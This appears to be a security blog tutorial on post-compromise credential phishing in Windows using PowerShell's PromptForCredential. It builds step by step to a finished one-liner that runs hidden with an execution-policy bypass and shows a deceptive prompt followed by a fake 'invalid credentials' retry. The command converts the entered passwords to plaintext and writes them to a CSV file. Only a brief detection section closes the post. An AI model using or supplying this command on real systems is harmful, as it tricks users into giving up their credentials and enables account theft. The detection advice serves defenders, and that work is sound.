A collection of cybersecurity content.

PowerShell Phishing: How Adversaries Use the Command Line to Steal Your Credentials

Intro

In addition to the well-known email-based phishing attacks where attackers impersonate legitimate websites to deceive users into revealing their login credentials, attackers can employ other methods to trick users into giving away their sensitive information.

It is possible to deceive users on an internal network to engage them with a prompt that will coerce them into giving their credentials willingly.

MEthod

Attackers who have infiltrated a network can create fake prompts using PowerShell, which appear legitimate, to lure users into entering their login credentials. Once obtained, the attacker can leverage these credentials to gain access to sensitive data or carry out other malicious activities.

Such PowerShell-based phishing attacks are particularly noteworthy after a compromise has occurred, as an attacker can utilize the built-in PowerShell functionality, $Host.UI.PromptForCredential, to prompt the user for their login credentials.

The following command is the basic call for a prompt:

powershell.exe $Host.UI.PromptForCredential('test', 'this is not a phish', 'user123', '')

Once we type in a password and press ok, we can see the output is stored in a SecureString format which is not that exciting considering our intentions.

Microsoft has more information on the SecureString Class if you are interested in reading their page. However, to summarize what we are seeing here, when using $Host.UI.PromptForCredential to prompt for credentials, the entered password is stored using the SecureString class, which provides a measure of security by avoiding the storage of potentially sensitive strings as plain text in memory. However, this also means that the password is not immediately usable as a regular string.

We will utilize the [Runtime.InteropServices.Marshal]::PtrToStringAuto() method to transform the SecureString into a standard string that can be understood. The SecureStringToBSTR method converts a SecureString object into a specific format called BSTR (binary/basic string), which is commonly employed in COM, Automation, and Interop operations. This conversion is necessary for the PtrToStringAuto method, as it requires a pointer to a null-terminated string in memory.

When executing the SecureStringToBSTR method, a memory block is generated to store the encrypted string data, ensuring that it is not exposed as plain text. Following this, the PtrToStringAuto method accepts this pointer, decrypts the data back into plain text, and subsequently clears the memory block.

powershell.exe $cred = $Host.UI.PromptForCredential('test', 'this is not a phish', 'user123', '');$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($cred.Password)); echo '';echo $password

Awesome!

Adding Some Polish

Now that we can view the user’s input in the prompt, we can focus on making the prompt appear more authentic. Typically, the window title/caption identifies the application calling the prompt, but for our purposes, we can use a more generic title such as “Authentication Required” to avoid arousing suspicion. To ensure accuracy and minimize errors, we can prompt the user to enter their credentials twice.

For the first prompt, we can use the standard Windows message “Enter your credentials” to make it seem legitimate. However, on the second prompt, we can make the user feel like they may have made a mistake by displaying the message “Invalid credentials. Try again.” to collect a variation of the first password or, if we are lucky, a second completely different password.

Not only that, but we can even autofill the username and domain for the user into the “User name” field to add even more legitimacy to this tactic. For our own records, let’s go ahead and add timestamp information and just write everything to a CSV file in $env:appdata.

Finalized PowerShell Command
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { for ($i=0; $i -lt 2; $i++) { $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name; if ($i -eq 0) { $message = 'Enter your credentials.' } else { $message = 'Invalid credentials. Try again.' }; $credential = $Host.UI.PromptForCredential('Authentication required', $message, $currentUser, ''); $userName = $credential.UserName; $password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($credential.Password)); $timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'; [PSCustomObject]@{TimeStamp=$timestamp; UserName=$userName; Password=$password} | Export-Csv -Path "$env:APPDATA\prompted_entries.csv" -Append -NoTypeInformation } }"
First prompt
Second prompt
Prompt outputs
Detection

When detecting malicious activity, it is crucial to identify the use of PowerShell to perform the PtrToStringAuto method as this converts a SecureString to plaintext. Furthermore, the use of [Runtime.InteropServices.Marshal] is a widely recognized PowerShell indicator that threat hunters use to identify potentially malicious activity.

To ensure that no malicious activity goes unnoticed, it is important to monitor script block PowerShell logging, collect EDR telemetry, and alert on suspicious Sysmon command lines.

Conclusion

PowerShell-based phishing attacks are a serious threat that can compromise sensitive information and harm organizations. It is important to understand the techniques used by attackers and to implement effective detection methods, including script block PowerShell logging, EDR products, and sysmon command line logging. By being proactive, organizations can better protect themselves against these types of attacks.